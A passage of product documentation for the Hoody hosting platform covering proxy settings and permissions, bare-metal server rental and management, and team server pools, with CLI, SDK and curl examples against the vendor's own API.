PATCH /api/v1/containers/{id}/proxy/permissions/state
{ "enable_proxy": false }
```
All service URLs will return 503 until you re-enable.

### Can IP authentication work with dynamic IPs?

IP auth requires static IPs or CIDR ranges. For dynamic IPs, use JWT or token authentication instead, or combine IP with a VPN that provides static exit IPs.

### What's the difference between "default": "allow" and no permissions?

- **No permissions configured**: Open by default, no auth required
- **"default": "allow"**: If groups exist but none match, still allow access
- **"default": "deny"**: If groups exist but none match, deny access

Use `"default": "deny"` for security when you have authentication groups.

### Can I see who accessed my containers?

Not through the proxy permissions system directly. For access logging, use:
- Container firewall logs for connection attempts
- Service-level logging (terminal, exec, etc. all support logging)
- MITM via hoody-exec to log all HTTP traffic

### How do I rotate JWT secrets or tokens?

1. Add new group with new secret/tokens
2. Update client applications to use new credentials
3. Verify new group works
4. Delete old group: `DELETE /api/v1/projects/{id}/proxy/permissions/groups/{oldGroupName}`

### Can password authentication use bcrypt or argon2?

Currently only SHA256 is supported for password hashing. For stronger auth, use JWT with a proper authentication service.

---

## What's Next

**Your proxy is now secure:**

1. ✅ **Authentication configured** - Groups define who can access
2. ✅ **Permissions set** - Programs define what they can do
3. ✅ **Default policy chosen** - Deny by default for security

**Explore related security:**
- **[Container Firewall →](/foundation/networking/firewall/)** - Network-level rules (ingress/egress)
- **[Container Network →](/foundation/networking/network/)** - Proxy/VPN routing
- **[IPv4 Management →](/foundation/networking/ipv4/)** - Dedicated IP addresses

---

> **Default: Open by cryptographic URL.**  
> **Project-level: Consistent team access.**  
> **Container-level: Production security.**  
> **Complete control over who accesses what.**

**From zero-config collaboration to enterprise-grade security—all through HTTP.**

---

# Proxy Settings

**Page:** foundation/proxy/settings

[Download Raw Markdown](./foundation/proxy/settings.md)

---

# Proxy Settings

**Proxy Settings control two container-wide knobs: is the proxy on, and what is the default policy when no rule matches.** They live in a small, dedicated document with ETag concurrency — independent of the permissions matrix, hooks, and aliases.

```json title="GET /api/v1/containers/{id}/proxy/settings → data"
{
  "enable_proxy": true,
  "default": "allow",
  "file_version": 3,
  "etag": "file:v3"
}
```

- **`enable_proxy`** — boolean. When `false`, the proxy refuses to route any traffic for this container regardless of what's in the permissions document. Useful as a global kill-switch.
- **`default`** — `"allow"` or `"deny"`. The fallback decision when no group in the permissions document matches the incoming request.


The permissions document is the large, frequently-edited policy file (groups, per-program access, hooks). Settings is the small, rarely-edited switch. Splitting them means you can flip `enable_proxy` without re-sending (and re-validating) a multi-kilobyte permissions JSON. Each document has its own ETag.


---

## API surface

| Verb | Path | What it does |
|---|---|---|
| `GET` | `/api/v1/containers/{id}/proxy/settings` | Return current `enable_proxy` + `default` + ETag |
| `PUT` | `/api/v1/containers/{id}/proxy/settings` | Update one or both fields. Requires `If-Match: file:v`. |

The `PUT` body accepts either field independently — you can flip `enable_proxy` without touching `default` or vice versa.

### Via the Hoody CLI

```bash
# Read current settings
hoody containers proxy settings get <container-id>

# Enable the proxy (pass --enable-proxy as a boolean flag; no value)
hoody containers proxy settings update <container-id> \
    --enable-proxy \
    --if-match file:v3

# Change the default policy to deny-by-default
hoody containers proxy settings update <container-id> \
    --default deny \
    --if-match file:v4
```

### Via the SDK (TypeScript)

```ts
const current = await client.api.proxyDiscovery.getContainerProxySettings(containerId);
// current.data: { enable_proxy: true, default: 'allow', file_version: 3, etag: 'file:v3' }

await client.api.proxyDiscovery.updateContainerProxySettings(
  containerId,
  { enable_proxy: false },
  { ifMatch: current.data.etag },
);
```


Mutating calls **require** an `If-Match: file:v` header matching the most recent `file_version`. If the version has moved since your last read, the server returns `412 Precondition Failed` with `message: etag_mismatch` — re-read, re-apply your change, and retry. This mirrors the concurrency contract used by [permissions](/foundation/proxy/permissions/) and [hooks](/foundation/proxy/hooks/).


---

## When to use Settings vs. Permissions

| Task | Document |
|---|---|
| Turn the whole proxy off for a container | **Settings** — `enable_proxy: false` |
| Set the catch-all allow/deny when no group matches | **Settings** — `default` |
| Define who (IP, JWT, password, token) can call what program | [Permissions](/foundation/proxy/permissions/) |
| Attach MITM scripts to matching traffic | [Hooks](/foundation/proxy/hooks/) |
| Expose a container on a custom subdomain | [Aliases](/foundation/proxy/aliases/) |

---

## Scope

Proxy Settings are **container-level only**. There is no project-level `settings` endpoint; the per-container `enable_proxy` / `default` is the authoritative source for a given container. Project-level default policy can be set via the project's [proxy permissions](/foundation/proxy/permissions/) document.

---

## Further reading

- [Proxy Permissions](/foundation/proxy/permissions/) — the larger document that lists groups and per-program access.
- [Proxy Hooks](/foundation/proxy/hooks/) — attaching MITM scripts that run inside your own `hoody-exec`.
- [Hoody Proxy overview](/foundation/proxy/) — how Settings, Permissions, Hooks, and Aliases fit together.

---

# Realms

**Page:** foundation/realms

[Download Raw Markdown](./foundation/realms.md)

---

# Realms

This page has moved.

Realms in Hoody are **API isolation scopes** (not container networks). Read the canonical page:

- **[`Realms (API Isolation)`](/foundation/hoody-api/realms/)**

---

# Manage Your Servers

**Page:** foundation/servers/index

[Download Raw Markdown](./foundation/servers/index.md)

---

# Manage Your Servers

**Bare metal. Instant provisioning. Unlimited containers.**

Hoody gives you physical servers with the automation of virtual machines - the best of both worlds.

## The Hoody Server Model

Traditional hosting forces a choice: **Fast provisioning (VPS) OR Physical control (bare metal)**. Hoody provides both.

**What You Get:**
- **Bare metal servers** - Full physical machine, no noisy neighbors, complete isolation
- **Instant provisioning** - 1-5 minutes from click to ready (unprecedented for bare metal)
- **Fair pricing** - Competitive rates for dedicated hardware
- **Reliable infrastructure** - Carefully selected datacenters worldwide
- **Infinite containers** - One server → hundreds of isolated containers

**Why This Matters:**

The container revolution promised infinite isolated environments, but traditional VPS hosting charges per VM. Hoody flips the model: rent one physical server, spawn unlimited containers.

```
Traditional VPS:          Hoody Bare Metal:
Per-VM monthly fee       One server rental
Multiple VMs needed      Unlimited containers
Expensive at scale       Cost-effective scaling
```

## Managed Infrastructure Model

**You control the containers. Hoody manages the host.**

Unlike traditional bare metal where you install and maintain the OS, Hoody servers come fully managed:

**What Hoody Manages:**
- Host operating system (cannot be modified or customized)
- Container runtime and infrastructure
- Security updates and patches
- Hardware health monitoring
- Platform service updates
- Automatic failover and recovery

**What You Control:**
- All containers and their configurations
- Container OS choices and customization
- Network rules and firewall settings
- Storage organization and shares
- Resource allocation across containers

**Why This Matters:**

No SSH access to bare metal host means:
- Zero maintenance burden on you
- Guaranteed platform compatibility
- Automatic security updates
- Consistent performance across all servers
- Hoody ensures optimal container runtime

**You get bare metal benefits (isolation, performance) without bare metal complexity.**

## How Server Management Works

### 1. Browse Available Servers

Hoody maintains a marketplace of instantly-available bare metal servers across multiple datacenters.

**Browse by:**
- Location (country, region, city)  
- Specifications (CPU, RAM, storage)
- Pricing tiers (duration-based discounts)

See: [Rent Servers →](/foundation/servers/rent/)

### 2. Rent Instantly

Click rent → Server provisioning begins → 1-5 minutes → Deploy containers.

**No:**
- ❌ Manual setup required
- ❌ Weeks of waiting
- ❌ Hardware configurations
- ❌ Commitment contracts

**Yes:**
- ✅ Automated provisioning
- ✅ Production-ready instantly
- ✅ Flexible rental periods
- ✅ Cancel anytime

### 3. Organize with Pools

Group servers into **Pools** for team access and organization.

**Default Pool:** Your personal servers  
**Custom Pools:** Shared team servers with role-based access

See: [Share Servers →](/foundation/servers/share/)

### 4. Deploy Unlimited Containers

Once you have a server, spawn containers without limits or per-container costs.

**Capacity depends on:**
- Container resource requirements (CPU, RAM, storage)
- Workload types (lightweight vs. heavy)
- Server specifications (varies by marketplace offering)
- Dynamic resource sharing across containers

Browse marketplace to see server specs and estimate container capacity.

## API Endpoints Summary

Server management uses these APIs:

**[Server Management API](/api/server-management/)**
- `GET /api/v1/pools` - List your pools and their servers
- `POST /api/v1/pools` - Create pools for team organization
- `GET /api/v1/servers/available` - Browse marketplace
- `POST /api/v1/servers/{id}/rent` - Rent a server
- `GET /api/v1/servers/{serverId}/available-commands` - List executable commands
- `POST /api/v1/servers/{serverId}/execute-command` - Run commands on server

**[Wallet API](/api/wallet/)**
- Manage balance for server rentals
- View transaction history
- Handle payments

## The Bare Metal Advantage

**Why Hoody uses bare metal servers:**

### Security Through Physical Isolation

Your containers run on hardware **you control**:
- No shared hypervisor with strangers
- No virtual partition vulnerabilities  
- Complete physical separation
- Zero trust in shared infrastructure

**Critical for:**
- AI-generated code you can't fully audit
- Client data isolation (agencies, consultancies)
- Compliance requirements (GDPR, HIPAA)
- Zero-knowledge architecture

### Performance Predictability

No "noisy neighbor" problems:
- 100% of CPU/RAM/storage is yours
- Consistent, predictable performance
- No resource contention
- Full disk I/O bandwidth

### Economic Transformation

**The VPS model is dead** for container workloads:

```
Agency with multiple clients, multiple environments each

Traditional VPS:
Separate VM per environment = High monthly costs per client

Hoody Bare Metal:
Few servers, unlimited containers = Massive cost reduction
Plus: Unlimited additional containers for experiments
```

## Instant Provisioning: The Game Changer

**This is Hoody's killer infrastructure advantage.**

Most bare metal requires:
- Days to weeks provisioning time (typically 1-7 days)
- Manual configuration and OS installation
- Long-term contracts
- Complex setup and maintenance

**Hoody bare metal:**
- **< 1-5 minutes** from rent to ready
- Fully automated provisioning
- Production-ready immediately
- Cancel anytime

**Why This Enables Automation:**

When infrastructure materializes in minutes, AI can manage it directly:

```javascript
// AI agent conversation becomes infrastructure
User: "I need a staging environment for client demo"

AI: *Rents server via API, 3 minutes later*
    "Staging server ready: https://client-demo.hoody.icu"
    "Containers deployed: frontend, backend, database"
    "Mock data populated. Demo URL: ..."
```

**Bare metal with VPS-feel** unlocks AI-driven infrastructure.

## Server Locations

Hoody servers available in reliable datacenters worldwide. Browse current locations and availability via the [Servers API](/api/servers/) marketplace.

**Location selection considerations:**
- Choose datacenters closest to your users for lowest latency
- Consider data residency requirements for compliance
- Multiple regions available for geographic redundancy

**Need a specific location?** [Contact support](https://hoody.icu/support) for custom datacenter requests or check the [marketplace](/foundation/servers/rent/) for currently available regions.

**How to choose:**
- Place servers closest to your users (minimize latency)
- Consider data residency requirements (compliance)
- Use multiple regions for redundancy

## Viewing Your Servers


  
    ```bash
    # List all your pools and their servers
    hoody pools list

    # Get details for a specific pool
    hoody pools get $POOL_ID

    # Browse marketplace for new servers
    hoody servers marketplace

    # Execute a command on your server
    hoody servers exec $SERVER_ID \
      --command-slug "system-stats" \
      --wait
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // List all pools
    const pools = await client.api.pools.list();

    // Get pool details
    const pool = await client.api.pools.get(poolId);

    // Browse marketplace
    const available = await client.api.serverRental.browse();

    // Execute a server command
    const result = await client.api.serverCommands.execute(serverId, {
      command_slug: 'system-stats',
      wait: true,
    });
    ```
  
  
    ```bash
    # List all pools
    curl "https://api.hoody.icu/api/v1/pools" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Get pool details
    curl "https://api.hoody.icu/api/v1/pools/$POOL_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Browse marketplace
    curl "https://api.hoody.icu/api/v1/servers/available" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Execute a server command
    curl -X POST "https://api.hoody.icu/api/v1/servers/$SERVER_ID/execute-command" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"command_slug": "system-stats", "wait": true}'
    ```
  


### List All Your Pools and Servers

**View all pools you own or are a member of:**



**Response shows:**
- All pools you have access to (owned or member)
- Your role in each pool (owner or member)
- Number of servers in each pool
- Member count

### View Specific Pool Details

**Get detailed information about a pool:**



**Response includes:**
- Complete pool information
- List of all servers assigned to pool
- All pool members and their roles
- Pool settings and quotas

### Server Details

**Browse available servers in the marketplace:**



Shows server locations, specifications, pricing, and availability.

## Executing Server Commands

**Hoody provides predefined commands for server operations** - maintenance, backups, monitoring, etc.

### List Available Commands

**See what commands can run on your server:**



**Filter by:**
- `category` - maintenance, backup, monitoring, etc.
- `risk_level` - low, medium, high, critical

### Execute a Command

**Run predefined commands on your servers:**



**Command Execution:**
- Commands are predefined and safe (you can't SSH to host)
- Risk levels protect against dangerous operations
- High/critical risk commands require confirmation tokens
- Results returned immediately or via status polling

**Common Commands:**
- System statistics and health checks
- Container resource monitoring
- Storage usage reports
- Network diagnostics
- Log retrieval

See [Server Management API](/api/server-management/) for complete command catalog.

## Monitoring Server Status

**Track your server health and usage:**

### Resource Monitoring

Check CPU, RAM, storage, network usage:
- Via Hoody dashboard (visual graphs)
- Via API (programmatic access)
- Via server commands (on-demand reports)

### Container Distribution

**View containers per server:**
- List all containers on a server
- See resource usage per container
- Identify heavy vs. light workloads
- Rebalance if needed

### Rental Status

**Track rental lifecycle:**
- Active rental period
- Expiration date
- Days remaining
- Grace period status

**Renewal Management:**
- Set calendar reminders for expiration
- Monitor via API or dashboard
- Renew before expiration to avoid data loss

## Rental Model

**Duration-Based Pricing:**

**Servers can be rented for as little as 1 day**, with automatic discounts for longer periods. Longer rentals provide better rates.

Available durations vary by marketplace offer - check current options when browsing servers.

**Flexible Terms:**
- No long-term contracts
- Grace period after expiration (hold period)
- Renew anytime during hold to avoid data loss
- Manual renewal required before expiration

**Payment:**
- Deducted from general balance (see [Wallet](/api/wallet/))
- Automatic billing on rental
- Transparent invoicing

## Use Cases

**Solo Developer**
- Rent 1 server for all projects
- Run dozens of containers (personal + client work)
- Each project: dev, staging, prod environments
- AI experimentation playground

**Small Team (5-10 people)**
- Rent 2 servers
- Organize into pools for team access
- Many containers across all team projects
- Shared resources, isolated projects

**Digital Agency**
- Rent multiple servers
- One pool per major client (perfect isolation)
- High container density per server
- Transparent per-client billing

**Enterprise Development**
- Rent 10+ servers distributed globally
- Production, staging, development separated
- Hundreds or thousands of containers
- Geographic redundancy and compliance

## Best Practices

**Server Selection:**
- Start with mid-tier server, monitor usage first month
- Upgrade only when consistently hitting >80% resource usage
- Don't over-provision speculatively

**Organization:**
- Use pools to group related servers (team, client, environment)
- Name servers clearly (purpose, location, tier)
- Document which containers run on which servers

**Cost Management:**
- Monitor container density - are you utilizing the server?
- Delete unused containers to free resources
- Use snapshots instead of keeping idle containers running
- Consolidate low-usage containers to fewer servers

**Security:**
- Separate production from development servers
- Use different pools for different clients/teams
- Enable appropriate firewall rules per server
- Rotate credentials regularly

**Performance:**
- Place latency-sensitive containers on servers closest to users
- Group communicating containers on same server
- Monitor resource usage and rebalance as needed

## Useful Questions

**How long does server provisioning really take?**

Typically 2-5 minutes, sometimes under 1 minute. This is unprecedented for bare metal - most providers take 1-7 days for provisioning. Hoody maintains a pool of ready-to-provision hardware across datacenters for instant availability.

**What if I need more than what's in the marketplace?**

[Contact support](https://hoody.icu/support) with your requirements (location, specs, quantity). We work with reliable datacenter partners and can provision custom configurations, though it may take longer than instant marketplace rentals.

**Can I have servers in multiple regions?**

Yes! Rent servers in different locations as needed. Containers on different servers communicate via their public URLs (through Hoody Proxy). Use [Realms](/foundation/hoody-api/realms/) to isolate API visibility/control across environments, tenants, or automation.

**What happens when my rental expires?**

You enter a **hold period** (grace period) where the server remains active but you're prompted to renew. If you renew during this time, no data is lost. After the hold period, the server is deprovisioned and data is deleted.

**Can I move containers between servers?**

Yes, through [container copy/sync](/foundation/containers/copy-sync/). You can copy or move containers from one server to another, preserving all state, files, and configuration.

**How do I know which server a container is running on?**

Container URLs include the server identifier. The Hoody dashboard also shows server assignments. You can manage this through the API or UI.

**What's included in server rental cost?**

Everything: hardware, bandwidth, storage, automated management, updates, monitoring, and support. No hidden fees, no bandwidth overages, no storage tiers. One price, unlimited containers.

## Troubleshooting

**Server Provisioning Takes Longer Than 5 Minutes**

**Cause:** High demand in specific datacenter or rare hardware allocation delay

**Solution:** Check dashboard for status updates. Provisioning rarely exceeds 10 minutes. If > 15 minutes with no progress, contact support - provisioning may be retrying automatically.

**Can't Spawn Containers on Server**

**Cause:** Server still completing post-provisioning setup, or resource exhaustion

**Solution:** Wait 1-2 more minutes for complete initialization. Check server resource usage in dashboard. If server shows "ready" and resources available but containers won't spawn, check error logs or contact support.

**Server Performance Degraded**

**Cause:** Too many containers or resource-heavy workloads

**Solution:** Check resource usage in dashboard. Identify resource-heavy containers. Consider: setting resource limits on specific containers, moving some containers to another server, or upgrading to higher-tier server.

**Payment Declined During Rental**

**Cause:** Insufficient balance or payment method issues

**Solution:** Add funds to your general balance via [Wallet](/api/wallet/). Ensure payment method is valid and not expired. Rental will retry automatically once balance is sufficient.

**Lost Access to Server After Expiration**

**Cause:** Hold period ended, server deprovisioned

**Solution:** If still within hold period, renew immediately to restore access. If already deprovisioned, server and data are gone. Always set calendar reminders for critical server renewals.

## What's Next

**Ready to rent your first server?**
- [Rent Servers →](/foundation/servers/rent/) - Browse marketplace and provision instantly

**Need team collaboration?**
- [Share Servers →](/foundation/servers/share/) - Organize servers with Pools

**Understand the foundation:**
- [Projects & Containers →](/foundation/projects-containers/) - What runs on servers  
- [Server Management API →](/api/server-management/) - Full API reference
- [Wallet →](/api/wallet/) - Manage billing and payments

---

# Rent Servers

**Page:** foundation/servers/rent

[Download Raw Markdown](./foundation/servers/rent.md)

---

# Rent Servers

**Browse. Click. Deploy. 1-5 minutes.**

Hoody's bare metal marketplace provides instant access to physical servers worldwide - no waiting, no setup, no complexity.

## The Instant Bare Metal Revolution

**Traditional bare metal:** Days to weeks provisioning (typically 1-7 days), manual configuration, long contracts
**Hoody bare metal:** 1-5 minutes from click to deploy containers

This speed unlocks **AI-driven infrastructure** - when servers materialize in minutes, AI agents can manage your entire stack.


By renting a server, you agree to Hoody's [Terms of Service](https://hoody.icu/terms) and [Acceptable Use Policy](https://hoody.icu/aup). Please review these before proceeding.


## How to Rent a Server



1. **Browse the Marketplace**
   
   View available servers filtered by location, specs, and price via the [Servers API](/api/servers/).

2. **Select Your Server**
   
   Choose based on:
   - Location (datacenter proximity to users)
   - Specifications (CPU, RAM, storage)
   - Pricing tier (duration discounts)

3. **Configure Rental**
   
   - Choose rental duration (available durations vary by offer)
   - Optionally assign to a [Pool](/foundation/servers/share/)
   - Review and confirm pricing

4. **Complete Payment**
   
   Server cost deducted from your [general balance](/api/wallet/). Payment processed instantly.

5. **Automatic Provisioning**
   
   Watch the progress: Hardware allocated → OS installed → Services initialized → Ready

6. **Deploy Containers**
   
   Server ready! Immediately start spawning unlimited containers.



## API Endpoints Summary

Renting servers uses these endpoints:

**[Browse Available Servers](/api/servers/)**
- `GET /api/v1/servers/available` - List marketplace inventory
- Filter by location, specs, availability
- View pricing tiers and duration discounts

**[Rent Server](/api/server-management/)**
- `POST /api/v1/servers/{id}/rent` - Provision a server
- Specify duration and pool assignment
- Automatic payment and provisioning

**[Manage Wallet](/api/wallet/)**
- Add funds to general balance
- View transaction history
- Download invoices

## Marketplace Inventory

**Browse available servers via the [Servers API](/api/servers/).**

Hoody maintains ready-to-provision bare metal servers across reliable datacenters worldwide.

### What the Marketplace Shows

**Server Listings Include:**
- Datacenter location (country, region, city)
- Hardware specifications (CPU cores, RAM, storage)
- Available rental durations
- Pricing for each duration
- Current availability status

**Filter and Sort By:**
- Geographic location
- Hardware specifications
- Price range
- Availability

**Server specifications and pricing vary by:**
- Datacenter location
- Current market availability
- Rental duration selected
- Hardware tier


**Always check the marketplace for current offerings.** Available servers, locations, and pricing change based on datacenter partnerships and demand.


## Rental Pricing Model

**Duration-Based Discounts:**

**Servers can be rented for as little as 1 day.** Longer rental durations receive automatic discounts for better rates.

Available durations vary by server offering. Common options include daily, weekly, and monthly rentals, with best rates for longer commitments.

**How Billing Works:**

- **Upfront Payment:** Full rental period charged when you click "Rent"
- **Auto-Deduction:** Amount taken from your general balance via [Wallet API](/api/wallet/)
- **Invoice Generated:** Automatic invoice for your records
- **No Hidden Fees:** Price includes bandwidth, storage, everything

### Rental Lifecycle

**Active Rental:**
- Server fully operational
- Deploy unlimited containers
- Full resource access
- Monitor usage in dashboard

**Approaching Expiration:**
- Email reminders sent
- Option to renew before expiration
- Manual renewal required

**Grace Period (Hold Period):**
- Server remains active briefly after expiration
- Renew during this time to keep data
- No additional charges during grace period
- Typically 24-72 hours

**After Grace Period:**
- Server deprovisioned
- All data deleted  
- Cannot be recovered


**Important:** Always renew critical servers before expiration. Set calendar reminders and monitor expiration dates. Data loss after grace period is permanent.


## Server Provisioning Process

**What happens after you click "Rent":**

### 1. Hardware Allocation (15-30 seconds)

Physical server selected from available pool in chosen datacenter. Resources reserved exclusively for you.

### 2. OS Installation (1-3 minutes)

Custom Hoody OS deployed to bare metal:
- Optimized container runtime
- Security hardening
- Network configuration
- Storage setup

### 3. Service Initialization (30-90 seconds)

Platform services activated:
- Container management
- Monitoring agents
- API endpoints
- Health verification

### 4. Ready to Deploy (Total: 2-5 minutes)

Server status: **READY**  
You receive:
- Email notification
- Dashboard update
- API webhook (if configured)

**Start spawning containers immediately.**

## Choosing the Right Server

**Consider These Factors:**

### Location Selection

**Latency:** Place servers closest to users
```
Users primarily in Americas → Choose US datacenters
Users primarily in Europe → Choose EU datacenters
Global user base → Consider multiple regional servers
```

**Data Residency:** Compliance requirements
- GDPR compliance → EU datacenters required
- Regional regulations → Choose appropriate datacenter
- Custom requirements → Contact support

**Development Servers:**
**Always place development servers as close as possible to your physical location.** This is critical for performance when using interactive services:
- **hoody-display** - Desktop environments need low latency for smooth interaction
- **hoody-terminal** - Command execution feels local when server is nearby
- **hoody-agent** - AI agent responsiveness improves dramatically with proximity
- **hoody-code** - VS Code instances work best with minimal network delay

Production servers should be near users. Development servers should be near developers.

### Specifications

**Container capacity varies by:**
- Container resource requirements (light vs. heavy workloads)
- Server hardware specifications (check marketplace)
- Operating system overhead
- Resource sharing efficiency

**General guidance:**
- Lightweight containers (APIs, scripts) pack densely
- Resource-intensive containers (databases, AI) require more headroom
- Production workloads need 20-30% overhead for stability
- Monitor actual usage and adjust as needed

### Budget

**Start Small:**
- Begin with lower-tier server to test requirements
- Monitor actual usage during first rental period
- Upgrade only when consistently hitting resource limits

**Scale Strategically:**
- One well-utilized server beats multiple idle servers
- Consolidate low-usage containers
- Use snapshots instead of duplicate containers
- Check marketplace for best duration pricing

## Assigning to Pools

**Every server belongs to a Pool.**

When renting, you can specify which [Pool](/foundation/servers/share/) the server joins:

- **Default Pool:** If no pool specified, server automatically assigned to your personal default pool
- **Team Pool:** Shared access for collaborators
- **Client Pool:** Isolated per-client servers (agencies)
- **Environment Pool:** Group by dev/staging/prod

**How Assignment Works:**

**Specify pool during rental:**
```json
{
  "pool_id": "507f1f77bcf86cd799439011",
  "rental_days": 30
}
```

**Or omit for default pool:**
```json
{
  "rental_days": 30
}
// Automatically assigned to your default pool
```

Server immediately accessible to all pool members based on their roles.

## Use Cases

**Solo Developer Experimenting**
- Rent: 1 server, short duration
- Use: Test Hoody, experiment with containers
- Benefit: Low-risk trial with flexible rental periods

**Startup Building MVP**
- Rent: 1 mid-tier server for longer duration
- Use: Dev, staging, prod all on one server
- Benefit: Professional infrastructure, cost-effective scaling

**Agency with Multiple Clients**
- Rent: Multiple servers (one per major client)
- Use: Perfect client isolation via dedicated servers
- Benefit: Client data separation, transparent billing

**Enterprise Team Global Deployment**
- Rent: 10+ servers distributed globally
- Use: Geographic redundancy, massive container deployment
- Benefit: High availability, compliance, worldwide performance

## API Example: Rent a Server


  
    ```bash
    # Browse marketplace for available servers
    hoody servers marketplace

    # Rent a server (30-day rental, assigned to a pool)
    hoody servers rent $SERVER_ID \
      --pool-id "507f1f77bcf86cd799439011" \
      --rental-days 30

    # Check your rental status
    hoody servers list
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Browse available servers
    const available = await client.api.serverRental.browse();

    // Rent a server
    const rental = await client.api.serverRental.rent(serverId, {
      pool_id: '507f1f77bcf86cd799439011',
      rental_days: 30,
    });

    // Check rentals
    const rentals = await client.api.serverRental.list();
    ```
  
  
    ```bash
    # Browse marketplace
    curl "https://api.hoody.icu/api/v1/servers/available" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Rent a server
    curl -X POST "https://api.hoody.icu/api/v1/servers/$SERVER_ID/rent" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"pool_id": "507f1f77bcf86cd799439011", "rental_days": 30}'
    ```
  


**Browse marketplace:**



**Response shows available servers with specs and pricing.**

**Rent selected server:**



**Response includes:**
- Rental confirmation
- Provisioning status
- Estimated ready time
- Transaction details

**Monitor provisioning:**

Poll server status until ready, then deploy containers via [Container API](/api/containers/).

## Best Practices

**Before Renting:**
- Estimate container needs (multiply by 1.5 for headroom)
- Choose location closest to users
- Verify sufficient balance in wallet
- Decide on pool assignment

**During Rental:**
- Monitor resource usage weekly
- Delete unused containers promptly
- Document what's running on each server
- Set renewal reminders

**Renewal Strategy:**
- Set calendar reminders for expiration dates
- Review usage before renewing
- Consider switching tiers if consistently over/under-utilized
- Plan ahead - don't wait until last day

**Cost Optimization:**
- Longer rentals = better rates (30-day vs 1-day)
- Consolidate containers to fewer servers
- Use snapshots instead of keeping idle containers
- Delete experiments promptly

**Security:**
- Different servers for different security zones
- Production servers in dedicated pools
- Regular security audits via server commands
- Enable appropriate firewall rules

## Useful Questions

**How quickly can I really get a bare metal server?**

Typically 2-5 minutes, sometimes faster. This is possible because Hoody maintains ready hardware pools at each datacenter. Traditional bare metal providers manually provision, which typically takes 1-7 days.

**What if the server I want is unavailable?**

Check nearby datacenters or different tiers. High demand in one location doesn't affect others. If you need specific specs not in marketplace, [contact support](https://hoody.icu/support) for custom provisioning (longer lead time).

**Can I upgrade a server after renting?**

Not directly - servers are fixed specification. However, you can rent a higher-tier server, copy your containers over using [container copy/sync](/foundation/containers/copy-sync/), then cancel the original. Usually completed same day.

**What happens if I run out of balance mid-rental?**

Your active rental continues - it's already paid. But you can't rent additional servers or renew expiring ones until you add funds to your [wallet](/api/wallet/).

**Can I get a refund if I cancel early?**

No refunds for unused rental time (standard hosting practice). The server and resources were reserved for you. Plan rental duration carefully - start with shorter periods if uncertain.

**Do rentals auto-renew?**

No, rentals do not auto-renew. Servers expire at end of rental period unless you manually renew. You'll receive reminder emails beforehand. Set calendar alerts for critical servers to avoid accidental expiration.

**What's included in the rental price?**

Everything: hardware, bandwidth, storage, platform services, monitoring, support. No surprise overages. The only additional costs are optional services like extra storage shares or premium support packages.

## Troubleshooting

**Payment Fails During Rental**

**Cause:** Insufficient balance or payment method issue

**Solution:** Add funds to general balance via [Wallet API](/api/wallet/). Ensure payment method is valid. Once balance sufficient, retry rental - server selection remains available.

**Provisioning Stuck at "Hardware Allocation"**

**Cause:** High demand in that specific datacenter

**Solution:** Wait 2-3 more minutes - sometimes allocation retries. If > 10 minutes, try different datacenter or tier. Contact support if issue persists.

**Server Shows "Ready" But Can't Deploy Containers**

**Cause:** Post-provisioning services still initializing

**Solution:** Wait 1-2 more minutes for complete startup. Check server logs in dashboard. Verify you have permission to deploy to this server (pool role). If issue continues, contact support.

**Can't See Rented Server in Dashboard**

**Cause:** Browser cache or sync delay

**Solution:** Hard refresh (Ctrl+F5). Check email for rental confirmation. Verify transaction in [Wallet](/api/wallet/) history. If payment processed but server not showing after 15 minutes, contact support.

**Accidentally Let Server Expire**

**Cause:** Missed renewal deadline

**Solution:** If still in grace period, renew immediately to restore access. If already deprovisioned, data is gone - must rent new server and redeploy from backups/snapshots. Prevention: Set multiple calendar reminders and monitor expiration dates closely.

## What's Next

**Server rented and ready?**
- [Projects & Containers →](/foundation/projects-containers/) - Start deploying containers
- [Container Lifecycle →](/foundation/containers/create-edit-delete/) - Create your first containers

**Need team collaboration?**
- [Share Servers →](/foundation/servers/share/) - Organize with Pools

**Manage your infrastructure:**
- [Manage Your Servers →](/foundation/servers/) - Overview of server management
- [Server Management API →](/api/server-management/) - Complete API reference
- [Wallet →](/api/wallet/) - Manage payments and billing

---

# Share Servers

**Page:** foundation/servers/share

[Download Raw Markdown](./foundation/servers/share.md)

---

# Share Servers

**Pools transform rented servers into team infrastructure.**

Instead of managing individual servers, organize them into Pools with role-based access - seamless collaboration for teams of any size.

## What Are Pools?

**Pools are groups of rented servers with shared access.**

Think of a Pool as a container for servers, not containers. When you assign rented servers to a Pool, all members get access based on their role.

**Key Concepts:**

- **Default Pool:** Every user has one automatically - all servers go here unless you specify otherwise during rental
- **Shared Pools:** Created for teams, clients, or organizational units
- **Role-Based Access:** Owner (the pool creator, implicit), plus two assignable roles — `admin` and `user`
- **Server Assignment:** Servers can be reassigned between pools
- **Container Deployment:** Pool members deploy containers to pool servers

## API Endpoints Summary

Pool management uses these endpoints:

**[Pool Management](/api/server-management/)**
- `GET /api/v1/pools` - List your pools
- `POST /api/v1/pools` - Create new pool
- `GET /api/v1/pools/{id}` - View pool details
- `PUT /api/v1/pools/{id}` - Update pool settings
- `DELETE /api/v1/pools/{id}` - Delete pool

**[Pool Invitations](/api/server-management/)**
- `GET /api/v1/pools/invitations/pending` - List your pending invitations
- `POST /api/v1/pools/{id}/accept` - Accept an invitation
- `POST /api/v1/pools/{id}/reject` - Decline an invitation

**[Server Assignment](/api/server-management/)**
- Assign server during rental
- Reassign servers between pools
- View pool's servers

For detailed API documentation, see [Server Management API](/api/server-management/).

## Pool Roles

Only `admin` and `user` are assignable via the members API (`role` enum). **Owner** is implicit — it's whoever created the pool — and is not passed as a role string.

**Owner** (Full Control — pool creator, not assignable)
- Create and delete the pool
- Add/remove members
- Assign/reassign servers
- Modify pool settings
- Delete pool (removes access, keeps servers)

**Admin** (Management)
- Add/remove members
- Assign servers to pool
- View all pool resources
- Cannot change member roles, modify pool settings, or delete pool (owner only)

**User** (Access)
- Deploy containers to pool servers
